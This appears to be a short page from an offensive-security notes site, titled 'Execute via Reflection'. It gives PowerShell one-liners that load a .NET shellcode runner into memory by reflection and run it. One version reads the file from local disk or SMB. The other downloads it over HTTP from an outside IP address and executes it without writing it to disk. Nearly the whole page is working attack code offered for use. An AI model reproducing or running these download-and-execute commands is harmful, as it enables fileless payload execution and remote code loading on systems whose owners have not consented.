> ## Documentation Index
> Fetch the complete documentation index at: https://witchking.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# Execute via Reflection

> Reflective loading of .NET assemblies.

## Local or SMB

```powershell theme={null}
$data=[IO.File]::ReadAllBytes('shellcode_runner.exe')
$ass=[System.Reflection.Assembly]::Load($data)
$ass.GetType("Runner.TestClass").GetMethod("Main").Invoke($null,@(,$null))
```

## Remote (HTTP)

```powershell theme={null}
$data=(New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/shellcode_runner.exe')
$ass=[System.Reflection.Assembly]::Load($data)
$ass.GetType("Runner.TestClass").GetMethod("Main").Invoke($null,@(,$null))
```


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.